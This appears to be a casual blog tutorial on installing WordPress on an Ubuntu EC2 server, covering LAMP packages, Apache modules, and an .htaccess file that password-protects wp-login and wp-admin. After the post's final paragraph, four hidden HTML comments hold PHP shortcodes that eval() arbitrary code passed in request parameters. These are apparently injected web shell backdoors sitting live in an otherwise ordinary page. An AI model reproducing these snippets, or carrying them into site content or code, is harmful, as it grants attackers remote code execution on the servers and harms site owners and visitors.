Hello World, EC2, and WordPress
Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.
Create an Instance, Have a Key
I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.
Confusing Code
This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.
#packages sudo apt-get install lamp-server^ sudo apt-get install apache2-utils sudo apt-get install php5-geoip sudo apt-get install php5-intl sudo apt-get install php5-curl #apache a2enmod expires a2enmod deflate a2enmod rewrite #wordpress wget http://wordpress.org/latest.tar.gz tar -xzvf latest.tar.gz -C /var/www/html/
Setup for EC2 and WordPress details
As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.
Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?
htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername
WordPress .htaccess file
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> <FilesMatch "wp-login"> AuthUserFile /var/www/html/.htpasswd AuthType Basic AuthName "Wordpress Login" Require valid-user </FilesMatch> <FilesMatch "wp-admin"> AuthUserFile /var/www/html/.htpasswd AuthType Basic AuthName "Wordpress Admin" Require valid-user </FilesMatch>
Done? Done. DONE. Wait…
I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.
<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>